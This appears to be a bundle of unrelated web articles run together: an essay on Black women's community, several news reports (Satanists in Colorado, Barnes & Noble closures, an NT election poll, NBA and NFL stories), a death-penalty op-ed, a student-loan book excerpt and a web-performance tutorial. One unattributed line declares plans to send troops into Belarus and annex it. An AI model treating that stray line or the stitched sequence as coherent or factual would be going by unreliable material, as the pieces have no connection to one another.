For instance, as a writer, I most likely will be published as a “black, female author” as opposed to just a “writer” which would be the description for a white male writer. This example alludes to the notion that “white” or “male” is considered invisible rather than defining, as my race and sex are.
Being aware of these differences has led me to critically think about my race in a larger, social and political world. It has also led me to seek out and strengthen my relationships with black women (and all women), and I now see us as allies rather than competition. I would have never gotten to this place of acceptance and camaraderie with other women if I was looking at myself through a mainstream patriarchal lens.
That why gatherings like It’s a Sistah Thang are so important for women of color (and all women). It’s about creating spaces in which we can express ourselves at our most free, about finding a community that creates its own, positive and authentic context and reclaiming blackness and embracing its complexities on our own terms. In the past, we’ve seen groups like It’s a Sistah Thang change the course of history in the Women’s and Civil Rights movements. Their success reminds me we are in good company and should continue living radically and unapologetically as women of color today.
The next steps in my journey of self discovery and acceptance is learning how to give back to my community by creating artistic work that is racially aware and that constantly questions the issues of privilege. Aleshea Harris, a MFA graduate, playwright and CalArts faculty member who attended It’s a Sistah Thang, gave me some guidelines on these next steps.
I asked her for advice for young, black women searching for community. She answered, “[f]ind community with other black girls/women and nurture it. Take care of yourself, ask for help and go where the love is. Coming into one’s own means having a level of self-awareness and feeling ownership over one’s experience as a human being. Seek happiness. You deserve it.” This is some advice I am taking to heart.
Have a thought about this piece? We encourage your civil communication with our writers. Tweet us at @fembotmag or reach out to us on our Facebook page. | {
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Satanists Luigi and Angie Bellaviste have decorations in their yard that depict their religious beliefs (credit: CBS)
MOUNTAIN VIEW, Colo. (CBS4)– A local couple who claim to be Satanists believe they’re a victim of a hate crime and were targeted because of their religious beliefs.
Someone cut down a political poster stating, “VOTE SATAN” from their front porch where they live in Mountain View, a suburb of Denver.
“We are Satanists… Satanists,” said Luigi Bellaviste.
Luigi and Angie Bellaviste belong to the Church of Satan. They even have a Satanic Bible in their home.
The couple is upset because a poster they had hanging from their front porch was recently cut down.
It wasn’t very popular with some neighbors.
“Everybody that sees that sign says, ‘What is going on with those people?,'” said neighbor Mary Morasco.
The couple’s home and yard are decorated with items like a Christmas tree that has been painted black, skulls and the number 666. They believe the cutting down of the poster was an attack on their religious beliefs.
“I feel like we’re being treated unfairly because it’s not a so-called mainstream religion,” said Luigi.
“I know of many people who have the Virgin Mary and tons of Jesus memorabilia ‘I Love Jesus’ and what is the difference?” said Angie.
Despite their opinion on the couple’s choice of lawn ornaments, most of the Bellaviste’s neighbors are on their side.
“It’s still their property. It’s still their house. They have a right to say whatever they have to say,” said one neighbor.
“Everyone has their own religion… to each his own, I guess,” said another neighbor.
The couple wants the police to consider the incident a hate crime because their religion is protected by the U.S. Constitution.
“Had that been the Star of David or a verse from the Koran,” said Luigi, “or something like that got damaged by somebody against those beliefs that would certainly be considered a hate crime.”
An officer with the Mountain View Police Department said the report will likely be filed as theft because there was no obvious attack on the couple’s church or religious beliefs. | {
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+ Soon we will send troops and tanks to Belarus and this will become our territory, as it was with the Crimea, so it will be with Belarus. | {
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Sign up for our COVID-19 newsletter to stay up-to-date on the latest coronavirus news throughout New York City
The final chapter has come for the Barnes & Noble locations in Queens.
One day after the chain announced it would close its Forest Hills store at end of the year, it announced Thursday it will also shut the remaining borough Barnes & Noble at Bay Terrace Shopping Center in Bayside. David Deason, Barnes & Noble’s vice president of Development, said it tried to negotiate new leases with the landlords of both properties but those fell through due to rent issues.
“With Forest Hills we communicated that we were willing to increase the rent and had an initial agreement with the property owners, who in turn did not live up to that agreement. With Bayside, when our lease came back up for renewal the property owner notified us that they chose a tenant who was willing to pay rents far in excess of what we were willing to pay,” he explained in a statement.
The Bay Terrace representatives didn’t return messages for comment Thursday evening about the Bayside bookstore, located at 23-80 Bell Blvd. A representative for Muss Development, which owns the Forest Hills property at 7000 Austin Street,said Target signed a 15-year lease at the location and its mini location will open in mid 2016.
“Austin Street is a natural fit for this new retail concept,” Muss Development Principal Jason Muss said in a statement released Wednesday.
“There is no indication when the Bay Terrace location will shut its doors, however, Crain’s New York, which first reported its closing Thursday, said the space will be home to a Home Goods store.
Regular customers to the Forest Hills store expressed shock and sadness on social media. Queens Borough President Melinda Katz, who used to be the city councilwoman for the neighborhood, called the store “an integral part of the community’s daily story.”
“For many families their departure is an unfortunate one and closes a cherished chapter of the neighborhood,” she said in a statement.
Michael Perlman, the chairman of Rego-Forest Preservation Council, launched a “Change.org” petition in May to save the location. As of Thursday night the campaign had 5,809 signatures out of its 7,500 goal.
“We need you to ask ALL of your friends to sign our petition & post a comment. Power to the residents & readers who value their communities most!” he posted on the campaign page.
Deason reassured Queens customers that Barnes & Noble is “is extremely important to us and as a result we are aggressively looking at new locations and expect to have a new store there in the future.” | {
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Death row inmate Billy Ray Irick appears in a booking photo provided by the Tennessee Department of Corrections, August 8, 2018. (Tennessee Department of Corrections via Reuters)
In some cases, it’s the only fitting punishment.
Yesterday, my home state of Tennessee executed a man named Billy Ray Irick. It was the state’s first execution since 2009, and it was the final punishment for a crime so heinous that I hesitate to type the details. The short version is that Irick raped and asphyxiated a little girl. (If you want to read about the last moments of his victim, seven-year-old Paula Dyer, this story from the Knoxville News Sentinel is worth your time.)
He deserved to die.
The morality of the death penalty is up for renewed debate largely because Pope Francis is leading the Catholic Church to take a stronger stand against capital punishment. I’m not a Catholic, but it would be foolish for Protestants to ignore the teachings of the church and to not carefully consider its arguments. Moreover, colleagues I deeply respect, like my friend Kevin Williamson, share the Pope’s view.
Nevertheless, I disagree. I still support the death penalty — not because it’s a deterrent or a fitting act of vengeance, but because, properly carried out, it is the only penalty that truly reflects the enormous value of innocent life. There are times when it is the only punishment that truly fits the crime.
It is for this reason that the same scriptures that so clearly direct the children of Israel to “choose life” also direct that “whoever sheds the blood of man, by man shall his blood be shed, for God made man in his own image.” Nor was the power of the sword taken from government by the New Testament. To the contrary, in Romans 13, Paul explicitly acknowledges that the power of the sword should rest with government, and that it holds “terror” for those who do wrong.
The sword, it should be noted, is designed to kill.
These declarations aren’t merely practical compromises from a time before the rise of consistent, reliable life imprisonment. They are grounded — as Dennis Prager argued recently here in National Review — in the understanding that murder represents a direct attack on “human dignity and inviolability.”
It is interesting to me that as the modern West has grown increasingly post-Christian, it has increasingly signaled a desire to move beyond the death penalty. Even as it grows opposed to capital punishment, ours is a culture that protects a very different right to kill: the right to kill an innocent child in the womb. This represents the deepest possible perversion of justice: The law protects the right to kill the innocent, while prohibiting the imposition of true justice on the guilty.
I am deeply sympathetic to arguments that any given government is too corrupt or venal to be entrusted with such an awesome power. I know and understand that American jurisdictions have abused that power in the past, especially jurisdictions in the South, where bone-deep, evil racism permeated the criminal-justice system.
But acknowledging this reality should cause us to cleanse the corruption from the process, not to deny justice to slain innocents. That means maintaining rigorous appellate review and ensuring that defendants have access to high-quality representation at every stage of the proceedings. It means supporting and sustaining the work of outside groups like the Innocence Project that provide yet another check and balance on a system that will never be flawless.
At the same time, however, we should not permit the inevitable imperfection of human justice to serve as a pretext for prohibiting capital punishment. After all, God knows the full extent of human frailty, and He didn’t just permit capital punishment — He mandated it from the dawn of recorded history.
The Constitution explicitly and repeatedly grants government the power to take life. Biblical tradition explicitly and repeatedly grants government the power to take life. There are legitimate and important debates, however, about the proper method for carrying out the ultimate punishment. I’m concerned that the modern trend of medicalizing the procedure carries its own perils. I agree with Kevin that “the conscription of the medical profession into the service of the executioner, through reliance upon the quasi-clinical procedure of lethal injection, is particularly ugly.”
Nevertheless, so long as the method of execution does not violate the Constitution’s prohibitions against cruel and unusual punishment, it is less important than the outcome. And last night in Tennessee, the outcome was right. Billy Ray Irick received the punishment justice required. | {
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The following is an exerpt from The Student Loan Swindle: Why It Happened – Who's To Blame – How The Victims Can Be Saved, by Bill Zimmerman. The book explores the origins and depth of our now $1 trillion national student debt bubble, and calls for a national campaign of civil disobedience as the only means to a fair resolution of the crisis at hand. Chapter 3, "How Did College Tuition Become So Expensive," is reprinted here in its entirety, by permission of the author.
The student loan crisis is a new phenomenon. Despite its huge impact, as recently as the late 1980s there was no student loan crisis. Then, middle and working class students suffered from cutbacks and had difficulty financing their educations, but overall, while the system of paying for college was beginning to break down, it had not yet become the disaster it is today. The crisis came because in later years the cost of getting a higher education rose many times faster than the overall cost of living. To make matters worse, wages were stagnant and the real purchasing power of working Americans was in decline.
The crisis now centers on the inability of borrowers to repay their student loans, but those borrowers only needed loans in the first place because in the mid-1990s the cost of tuition escalated so dramatically. By the first decade of the new century, it virtually went through the roof. What drove this sudden and rapid increase?
When I was a young man in the late 1950s, many families could afford college even though far fewer than today thought it necessary. The son or daughter of a working class family could attend a public college or university where the cost of tuition was almost negligible, even for families with limited funds. Working class kids with enough talent could win scholarships to attend the more elite private universities, as I did. But even those private universities kept tuition low enough for middle class families to afford. I used my scholarship at the University of Chicago, one of the most expensive institutions in the country. Tuition was $870 per year when I enrolled in 1958 (just under $7,000 in 2013 dollars).
Young people in my time had access to an additional advantage students are unlikely to have today: part-time jobs during the school year and full-time temporary jobs in the summer. The extra money allowed me to pay for my own living expenses and graduate without debt and without having burdened my parents. I was typical. The robust American economy at the time allowed many students like me to “work our way through college.” That phrase sounds quite hollow today since most of those jobs no longer exist.
For the 20 years prior to the mid-1980s, college tuition roseonly gradually. Middle class families had come to understand that a degree meant greater earning power. Their children flocked to college and quickly increased total enrollment from 8.5 million in 1970 to 13.8 million in 1990. Campuses had to expand to meet the new demand. As a result, tuition increased at a rate somewhat greater than the increase in the overall cost of living. Nevertheless, the situation remained stable since costs were not going up fast enough to trigger changes in the way higher education was financed. That was no longer true by the late-1980s, when tuition began to increase at a rate faster than the overall cost of living.
That dramatic increase occurred because during this period many states developed large budget deficits. In the late 1980s and 1990s these budget deficits increased because of popular support for tax-cutting measures at all levels of government. To give voters lower taxes, states had to reduce public services. Welfare and poverty programs were cut first, but more cuts were necessary to keep the deficits under control.
Legislators tried to preserve their state college and university budgets for reasons of pride and prestige, but the budget ax soon fell on them as well. When state appropriations for these campuses were cut, college administrators had no choice but to raise tuition to make up for the shortfalls.
To understand the nationwide impact of these budget-driven tuition increases at state colleges and universities consider the fact that 80% of all American students enrolled in degree-granting, non-profit institutions attend publicly funded colleges and universities. The tuition increases at these public institutions directly affected the overwhelming majority of American students.
With the budget cuts temporarily neutralized by tuition increases, college administrators saw the expanding student population (the market for their services) as an opportunity to enlarge the size and standing of their campuses. Universities competed for prominent faculty by offering larger salaries. They expanded and modernized their laboratory space to attract prestigious government grants. New sports facilities were built along with dormitories that advertised comforts unheard of when I was a student. Some schools, to their credit, responded to the growing demand for fairness by offering more scholarships to disadvantaged students. All of these factors played a role in increasing the cost of tuition, but the main reason it went up was that legislative appropriations for higher education went down.
Cuts in these appropriations got worse in the 1990s, and then plummeted even further during the following decade. That drove tuition up to previously unheard of levels. The result was a tectonic shift in American higher education: instead of the states taking primary responsibility for the cost of higher education, the expense was gradually transferred to the students.
Here’s an example. By 1990, Ohio had already cut back its funding for public higher education. That year the state’s flagship university, Ohio State, received only 25% of its budget from the legislature, necessitating another tuition increase. Ten years later, in 2000, state allocations for the school had been reduced to only 15% of overall costs. In 2012, Ohio State received a mere 7% of its funds from the State of Ohio. Tuition over that interval increased accordingly.
The situation in Ohio was not unique. Across the country, the Seattle Times reported that tuition at the University of Washington had increased by 150% over the ten years between 2003 and 2013, five times the rate of inflation. The blame is laid on sharp state budget cutbacks. In 2003, Washington State funded 64% of the university’s budget. In 2013 that figure had been reduced to 31%. Alarming as these cutbacks are, comparable reductions in state funding are not limited to Ohio and Washington. Nor have they run their course.
State university budget cuts continue today and are accelerating. The Center on Budget and Policy Priorities looked at the years since the start of the 2008 recession. Their findings are startling. As low as state budgets for higher education were in 2008, states in 2013 planned to spend 28% less per student. At the same time, state tuition has gone up an average of 27% over that same, very limited, period.
Looking just at the years between 2007 and 2012, tuition at public four-year colleges has gone up by more than 15% in 40 states, more than 25% in 18 states, and more than 50% in seven states. California and Arizona increased their public university tuition by more than 70% between 2007 and 2012.
Across all public institutions of higher education in the nation in 2011-12, state funds appropriated for colleges and universities fell by a staggering 7.6% – in a single year! The Center for the Study of Education Policy claims that is the largest annual drop in half a century. Cuts like these are the engine driving the tuition increases that have completely reshaped the American educational landscape.
When the public universities increased their tuition, the elite private universities took notice. Anxious to maintain their higher status and simultaneously bring in more revenue, they raised their tuition as well, setting off an escalating spiral. The result is visible today in the eye-popping tuition rates that now confront students at private colleges and universities. At my old school, the University of Chicago, entering students in 2013 paid $44,574 for tuition and fees. Room, board and books required another $14,446.The escalation of these costs is certain to continue. The big name private schools turn away 75% or more of their applicants. They have no reason to lower tuition and every reason to continue raising it.
In the three decades between 1980 and 2010, the United States underwent a sea change in how it finances higher education. The Consumer Price Index over that period roughly doubled, meaning that most things cost about twice what they did 30 years earlier. Many are aware that over the same period the cost of health care did not just double but increased six times over what it had been. Few Americans, however, realize that during that same period the cost of college tuition went up twice as fast as the cost of health care. Add the disappearance of part-time and temporary summer jobs for college students and the implications for higher education are clear: in three decades the cost of college rose from relatively accessible to shockingly unaffordable.
Those three decades also witnessed radically widening disparities between working and middle-class families on the one hand and wealthy families on the other. The Economic Policy Institute found that between 1978 and 2011, roughly the same three decades, average CEO salaries increased by 725%. Workers’ salaries over the same period increased less than 6%. Taking a longer view, they showed that in 1960 the top 1% of income earners in the U.S. collectively made 8.4% of the total income generated in the country. Fifty years later, in 2010, the top 1% had doubled their take to 17.4% of total income.
As the purchasing power of working and middle class families declined, college was seen as ever more necessary in the desperate struggle for financial success. But rapidly rising tuition made college less and less affordable. Trapped between their perceived need for an education and their lack of resources with which to pay for it, many families had no choice but to seek larger and larger student loans. | {
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LABOR is headed for a landslide victory at this month’s Territory election, according to an independent poll commissioned by the NT News.
The two-party-preferred vote has Labor leading the CLP 64 per cent to 36 per cent less than four weeks from the August 27 election. That’s a 20-point swing against the CLP from the 2012 election.
The MediaReach poll of nearly 900 people shows the Giles Government’s primary vote has now shrunk to a historic low of 22 per cent.
It also shows a historic collapse of the CLP vote in the Darwin northern suburbs and the fortified party heartland of Palmerston.
Labor leader Michael Gunner is the preferred Chief Minister with 46 per cent over Mr Giles with 29 per cent. Mr Gunner’s numbers are improving but 41 per cent of respondents have no view of him.
media_camera NT Chief Minister Adam Giles. PICTURE: Helen Orr
Mr Giles is facing his lowest personal approval ratings ever following a politically difficult week surrounding what he knew about the abuses at Don Dale Youth Detention Centre.
More than half of respondents to the poll say they have a negative view of Mr Giles.
“At this level, Adam Giles will do more harm than good for the CLP campaign,” a MediaReach spokesman said. “He’s had a poor favourability rating for some time and this is continuing to not improve.”
Embattled former corrections minister and current Attorney-General John Elferink is also strongly disliked by the electorate, with 53 per cent of respondents indicating a negative view of him.
Mr Elferink left town last week after being sacked as Corrections Minister in the wake of the Don Dale scandal. He is not seeking re-election.
The poll indicates the CLP will be wiped out in the northern suburbs of Darwin with Labor leading 78 per cent to the CLP’s 22 per cent. That trend continues in Palmerston where the CLP holds all four seats but is trailing at 37 per cent to Labor’s 63 per cent.
The only seat in the greater Darwin region that appears in play for the Country Liberals is the newly created electorate of Spillett, covering the area between Palmerston and Darwin. Lia Finocchiaro is the candidate in what many observers believe is a CLP friendly seat, made up largely of military personnel.
The youth justice issue has had an effect on voters, according to the poll, with 41 per cent of respondents saying the Giles Government’s handling of the abuses have made them less likely to vote for them. A further 36 per cent said it did not matter to them.
Fifty-seven per cent said the Giles Government was incapable of managing youth detention effectively – 43 per cent who said they could.
“This does not bode well for a Government that has a ‘tough on crime’ mantra,” the MediaReach spokesman said.
Asked whether the CLP deserved to be re-elected, 67 per cent of respondents said no, with 33 per cent saying they did deserve re-election.
The independent poll was conducted by MediaReach over July 27, 28, and 29. The automated voice response poll collected 887 samples weighted for population profiles with a margin of error of just over plus or minus three per cent.
TWO PARTY PREFERRED
Labor 64 (+20 from 2012 election)
CLP 36 (-20)
PRIMARY VOTE
Labor 36 (-0.5 from 2012 election)
CLP 26 (-24.6)
1Territory 6 (n/a)
Greens 6 (+2.7)
Independent 21 (+15)
Other 2 (n/a)
Undecided 3 (n/a)
PREFERRED CHIEF MINISTER
Adam Giles 29
Michael Gunner 46
Undecided 25
TWO PARTY PREFERRED
Northern Suburbs
CLP 22
Labor 78
Palmerston
CLP 37
Labor 63
Darwin Rural Area
CLP 46
Labor 54
Darwin inner Suburbs
CLP 44
Labor 56
*Poll of 887 people Territory-wide conducted on July 27, 28 and 29
*Margin of error 3 per cent | {
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Measuring Websites With Mobile-First Optimization Tools
Smashing Newsletter Every week, we send out useful front-end & UX techniques. Subscribe and get the Smart Interface Design Checklists PDF delivered to your inbox. Your (smashing) email Subscribe →
Not sure how to remove the code debt that bloats and weighs down your site? Here are specific ways mobile performance impacts your site and page speed results. It’s time to change our mindset.
Performance on mobile can be particularly challenging: underpowered devices, slow networks, and poor connections are some of those challenges. With more and more users migrating to mobile, the rewards for mobile optimization are great. Most workflows have already adopted mobile-first design and development strategies, and it’s time to apply a similar mindset to performance.
In this article, we’ll take a look at studies linking page speed to real-world metrics, and discuss the specific ways mobile performance impacts your site. Then we’ll explore benchmarking tools you can use to measure your website’s mobile performance. Finally, we’ll work with tools to help identify and remove the code debt that bloats and weighs down your site.
Responsive Configurators How would you design a responsive car configurator? How would you deal with accessibility, navigation, real-time previews, interaction and performance? Let’s figure it out. Read article →
Why Performance Matters
The benefits of performance optimization are well-documented. In short, performance matters because users prefer faster websites. But it’s more than a qualitative assumption about user experience. There are a variety of studies that directly link reduced load times to increased conversion and revenue, such as the now decade-old Amazon study that showed each 100ms of latency led to a 1% drop in sales.
Page Speed, Bounce Rate & Conversion
In the data world, poor performance leads to an increased bounce rate. And in the mobile world that bounce rate may occur sooner than you think. A recent study shows that 53% of mobile users abandon a site that takes more than 3 seconds to load.
That means if your site loads in 3.5 seconds, over half of your potential users are leaving (and most likely visiting a competitor). That may be tough to swallow, but it is as much a problem as it is an opportunity. If you can get your site to load more quickly, you are potentially doubling your conversion. And if your conversion is even indirectly linked to profits, you’re doubling your revenue.
SEO And Social Media
Beyond reduced conversion, slow load times create secondary effects that diminish your inbound traffic. Search engines already use page speed in their ranking algorithms, bubbling faster sites to the top. Additionally, Google is specifically factoring mobile speed for mobile searches as of July 2018.
Social media outlets have begun factoring page speed in their algorithms as well. In August 2017, Facebook announced that it would roll out specific changes to the newsfeed algorithm for mobile devices. These changes include page speed as a factor, which means that slow websites will see a decline in Facebook impressions, and in turn a decline in visitors from that source.
Search engines and social media companies aren’t punishing slow websites on a whim, they’ve made a calculated decision to improve the experience for their users. If two websites have effectively the same content, wouldn’t you rather visit one that loads faster?
Many websites depend on search engines and social media for a large portion of their traffic. The slowest of these will have an exacerbated problem, with a reduced number of visitors coming to their site, and over half of those visitors subsequently abandoning.
If the prognosis sounds alarming, that’s because it is! But the good news is that there are a few concrete steps you can take to improve your page speeds. Even the slowest sites can get “sub three seconds” with a good strategy and some work.
Profiling And Benchmarking Tools
Before you begin optimizing, it’s a good idea to take a snapshot of your website’s performance. With profiling, you can determine how much progress you will need to make. Later, you can compare against this benchmark to quantify the speed improvements you make.
There are a number of tools that assess a website’s performance. But before you get started, it’s important to understand that no tool provides a perfect measurement of client-side performance. Devices, connection speeds, and web browsers all impact performance, and it is impossible to analyze all combinations. Additionally, any tool that runs on your personal device can only approximate the experience on a different device or connection.
In one sense, whichever tool you use can provide meaningful insights. As long as you use the same tool before and after, the comparison of each should provide a decent snapshot of performance changes. But certain tools are better than others.
In this section, we’ll walk through two tools that provide a profile of how well your website performs in a mobile environment.
Note: If can be difficult to benchmark an entire site, so I recommend that you choose one or two of your most important pages for benchmarking.
Lighthouse
One of the more useful tools for profiling mobile performance is Google’s Lighthouse. It’s a nice starting point for optimization since it not only analyzes page performance but also provides insights into specific performance issues. Additionally, Lighthouse provides high-level suggestions for speed improvements.
Lighthouse in the Google’s Web Developer Tools. (Large preview)
Lighthouse is available in the Audits tab of the Chrome Developer Tools. To get started, open the page you want to optimize in Chrome Dev Tools and perform an audit. I typically perform all the audits, but for our purposes, you only need to check the ‘Performance’ checkbox:
All the audits are useful, but we’ll only need the Performance audit. (Large preview)
Lighthouse focuses on mobile, so when you run the audit, Lighthouse will pop your page into the inspector’s responsive viewer and throttle the connection to simulate a mobile experience.
Lighthouse Reports
When the audit finishes, you’ll see an overall performance score, a timeline view of how the page rendered over time, as well as a variety of metrics:
In the performance audit, pay attention to the first meaningful paint. (Large preview)
It’s a lot of information, but one report to emphasize is the first meaningful paint, since that directly influences user bounce rates. You may notice that the tool doesn’t even list the total load time, and that’s because it rarely matters for user experience.
Mobile users expect a first view of the page very quickly, and it may be some time before they scroll to the lower content. In the timeline above, the first paint occurs quickly at 1.3 seconds, then a full above-the-fold content paint occurs at 3.9 seconds. The user can now engage with the above-the-fold content, and anything below-the-fold can take a few seconds longer to load.
Lighthouse’s first meaningful paint is a great metric for benchmarking, but also take a look at the opportunities section. This list helps to identify the key problem areas of your site. Keep these recommendations on your radar, since they may provide your biggest improvements.
Lighthouse Caveats
While Lighthouse provides great insights, it is important to bear in mind that it only simulates a mobile experience. The device is simulated in Chrome, and a mobile connection is simulated with throttling. Actual experiences will vary.
Additionally, you may notice that if you run the audit multiple times, you will get different reports. That’s again because it is simulating the experience, and variances in your device, connection, and the server will impact the results. That said, you can still use Lighthouse for benchmarking, but it is important that you run it several times. It is more relevant as a range of values than a single report.
WebPageTest
In order to get an idea of how quickly your page loads in an actual mobile device, use WebPageTest. One of the nice things about WebPageTest is that it tests on a variety of real devices. Additionally, it will perform the test a number of times and take the average to provide a more accurate benchmark.
To get started, navigate to WebPageTest.org, enter the URL for the page you want to test and then select the mobile device you’d like to use for testing. Also, open up the advanced settings and change the connection speed. I like testing at Fast 3G, because even when users are connected to LTE the connection speed is rarely LTE (#sad):
WebPageTest provides actual mobile devices for profiling. (Large preview)
After submitting the test (and waiting for any queue), you’ll get a report on the speed of the page:
In WebPageTest’s results, pay attention to the start render and first byte. (Large preview)
The summary view consists of a short list of metrics and links to timelines. Again, the value of the start render is more important than the load time. The first byte is useful for analyzing the server response speed. You can also dig into the more in-depth reports for additional insights.
Benchmarking
Now that you’ve profiled your page in Lighthouse and WebPageTest, it’s time to record the values. These benchmarks will provide a useful comparison as you optimize your page. If the metrics improve, your changes are worthwhile. If they stay static (or worse decline), you’ll need to rethink your strategy.
Lighthouse results are simulated which makes it less useful for benchmarking and more useful for in-depth reports and optimization suggestions. However, Lighthouse’s performance score and first meaningful paint are nice benchmarks so run it a few times and take the median for each.
WebPageTest’s values are more reliable for benchmarking since it tests on real devices, so these will be your primary benchmarks. Record the value for the first byte, start to render, and overall load time.
Bloat Reduction
Now that you’ve assessed the performance of your site, let’s take a look at a tool that can help reduce the size of your files. This tool can identify extra, unnecessary pieces of code that bloat your files and cause resources to be larger than they should.
In a perfect world, users would only download the code that they actually need. But the production and maintenance process can lead to unused artifacts in the codebase. Even the most diligent developers can forget to remove pieces of old CSS and JavaScript while making changes. Over time these bits of dead code accumulate and become unnecessary bloat.
Additionally, certain resources are intended to be cached and then used throughout multiple pages, such as a site-wide stylesheet. Site-wide resources often make sense, but how can you tell when a stylesheet is mostly underused?
The Coverage Tab
Fortunately, Chrome Developer Tools has a tool that helps assess the bloat in files: The Coverage tab. The Coverage tab analyzes code coverage as you navigate your site. It provides an interface that shows how much code in a given CSS or JS file is actually being used.
To access the Coverage tab, open up Chrome Developer Tools, and click on the three dots in the top right. Navigate to ‘More Tools’ → ‘Coverage’.
The Coverage tab is a bit hidden in the web developer tools console. (Large preview)
Next, start instrumenting coverage by clicking the reload button on the right. That will reload the page and begin the code coverage analysis. It brings up a report similar to this:
An example of a Coverage report. (Large preview)
Here, pay attention to the unused bytes:
The unused bytes are represented by red lines. (Large preview)
This UI shows the amount of code that is currently unused, colored red. In this particular page, the first file shown is 73% bloat. You may see significant bloat at first, but it only represents the current render. Change your screen size and you should see the CSS coverage go up as media queries get applied. Open any interactive elements like modals and toggles, and it should go up further.
Once you’ve activated every view, you will have an idea of how much code you are actually using. Next, you can dig into the report further to find out just which pieces of code are unused, simply click on one of the resources and look in the main window:
Click on a file in the Coverage report to see the specific portions of unused code. (Large preview)
In this CSS file, look at the highlights to the left of each ruleset; green indicates used code and red indicates bloat. If you are building a single page app or using specialized resources for this particular page, you may be inclined to go in and remove this garbage. But don’t be too hasty. You should definitely remove dead code, but be careful to make sure that you haven’t missed a breakpoint or interactive element.
Next Steps
In this article, we’ve shown the quantitative benefits of optimizing page speed. I hope you’re convinced, and that you have the tools you need to convince others. We’ve also set a minimum goal for mobile page speed: sub three seconds.
To hit this goal, it’s important that you prioritize the highest impact optimizations first. There are a lot of resources online that can help define this roadmap, such as this checklist. Lighthouse can also be a great tool for identifying specific issues in your codebase, so I encourage you to tackle those bottlenecks first. Sometimes the smallest optimizations can have the biggest impact. | {
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Are the Lakers willing to give up the pieces to get Davis? (1:19)
NEW YORK -- Ahead of Anthony Davis and the New Orleans Pelicans visiting the Los Angeles Lakers for the first time this season on Friday, LeBron James openly pondered what having the All-Star forward alongside him in purple and gold at Staples Center would be like.
"That would be amazing," James told ESPN on Tuesday before the Lakers' 115-110 loss to the Brooklyn Nets, referring to the Lakers landing Davis through a trade. "That would be amazing, like, duh. That would be incredible."
Davis, 25, is averaging 28 points, 12.4 rebounds, 4.7 assists, 2.8 blocks and 1.7 steals per game for a Pelicans team that is under .500, at 15-16, putting New Orleans 12th in the Western Conference with more than a third of the season in the books.
Davis is under contract with the Pelicans for $27.1 million next season and has a player option for 2020-21 worth $28.8 million, meaning the Lakers would have to trade for the five-time All-Star should they want to acquire him before he becomes a free agent.
Adding intrigue to the situation is the fact that Davis and the Wasserman agency parted ways over the summer, opening the door for Davis to sign with Rich Paul of Klutch Sports in September. Paul, of course, also is James' agent.
Adding even more intrigue -- LeBron's postgame comments following Tuesday's 115-110 loss to the Nets. James said he was interested by the idea of Carmelo Anthony joining the Lakers, but says nothing has been put into motion yet.
"I don't run the team and obviously there's some things that need to be worked out on both sides," he said. "But I've always wanted to play along Melo and if the opportunity presents itself, it would be great. So we'll see what happens."
But James had Davis on his mind after seeing ESPN's Adrian Wojnarowski laying out the Lakers' trade priorities in a segment that aired on Tuesday's SportsCenter.
"They're not going to give away picks and their top young players in some deal that makes them incrementally better this season because they've got to save all those assets for Anthony Davis, a big trade this summer pre- or post-free agency," Wojnarowski said. "That's why they've looked at players who are on one-year deals who don't have money going forward."
The Lakers made several inquiries to the Phoenix Suns in hopes of acquiring veteran forward Trevor Ariza. But the Suns opted to deal Ariza to Washington after the Wizards included a young asset in Kelly Oubre Jr., while the Lakers kept their young core of Brandon Ingram, Lonzo Ball, Kyle Kuzma and Josh Hart off limits in discussing a potential deal.
If the Lakers put some combination of those young players on the table for Davis, it doesn't mean New Orleans would be willing to swing a trade.
More Than An Athlete The eight-part docuseries, produced by UNINTERRUPTED and airing on ESPN+, will follow LeBron James and Maverick Carter's improbable journey from Akron to the global stage. Watch on ESPN+
"If you can trade him for anybody, then he is the most valuable guy in the league. Not that we would ever consider that," Pelicans coach Alvin Gentry said in October. "There's no one in the league that we would trade him for, and there's no one out of the league -- not even Beyonce. If we wouldn't trade him for her, he's probably untouchable."
Not to mention, Davis has financial incentive to stay with the Pelicans.
He is eligible for a supermax extension this summer worth $239 million over five years, should he choose to stay with New Orleans. Should he be traded and ride out the rest of his guaranteed deal, his new team -- such as the Lakers or the Boston Celtics, who also are lurking in the Davis sweepstakes with trade assets galore -- could sign him to a five-year, $205 million extension in the summer of 2020. Or if he simply waits out his final year with the Pelicans and tests unrestricted free agency in the summer of 2020, the most he could sign for with a new team with cap space would be for four years, $152 million.
After the Lakers failed to pair James with a superstar in the summer of 2018 despite opening up salary cap space to do so, landing a big fish like Davis would give the team a realistic championship path, even as James, who turns 34 later this month, continues to age.
Swinging big has been the Lakers' M.O. since general manager Rob Pelinka and team president Magic Johnson took on their roles in 2017. While it led to James' arrival, it also has gotten the team in trouble. Twice in the past two years the Lakers have been fined for tampering -- to the tune of $500,000 after a league investigation produced evidence of improper contact between Pelinka and Paul George's agent and another $50,000 because of comments Johnson made about Milwaukee Bucks star Giannis Antetokounmpo.
Players, however, cannot be penalized for talking about another player under contract -- or talking to another player under contract -- in hopes of playing together someday. James and Davis teamed up previously at Staples Center in the All-Star Game in February, with James, the captain of the East squad, drafting the big man to his team.
ESPN's Bobby Marks contributed to this report. | {
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Weston Hodkiewicz
USA TODAY NETWORK-Wisconsin
All people wanted to talk about was Colt Lyerla on May 19.
If you looked a little deeper, however, there might have been a better story coming out of the Green Bay Packers' rookie orientation camp in former Miami defensive lineman Luther Robinson.
A native of Greenville, Mississippi, the 6-foot-3, 301-pound rookie started only three of 33 games during his time with the Hurricanes, recording 40 tackles (16 solo), including two for a loss, and two fumble recoveries.
After going undrafted, Robinson received only one phone call for a tryout – Not a contract, but an offer to tryout out for a contract.
One of 28 invitees at May's mini-camp, Robinson impressed the coaching staff enough to be given a contract. The attention was drawn to Lyerla, the troubled but talented tight end out of Oregon, but there was Robinson counting his blessings in the background.
It all led up to the biggest moment in Robinson's football career during Thursday's 42-10 victory over the Minnesota Vikings. Promoted hours before from the practice squad, it was his tipped pass of Christian Ponder that set up Julius Peppers' 49-yard interception returned for a touchdown.
Afterward, Robinson's phone was blowing up with calls. Even in a brief interview, the iPhone in his pocket continued to ring out.
"It's been a long road, a very long road," Robinson said. "Without my mom and dad and God, I don't know if I would have made it, man."
Robinson officially got the call to the active roster around noon on Thursday with defensive lineman Josh Boyd out with a knee injury he sustained in Sunday's 38-17 win over the Chicago Bears.
Based on how he'd been used in practice during the week, the call wasn't a complete surprise.
"I knew through the week because I was practicing," Robinson said. "But today around about noon they told me I was going to be active."
What the 23-year-old defensive lineman wasn't anticipating was playing as much as he did. Robinson was pushed into action in the second quarter when Datone Jones exited with an ankle injury.
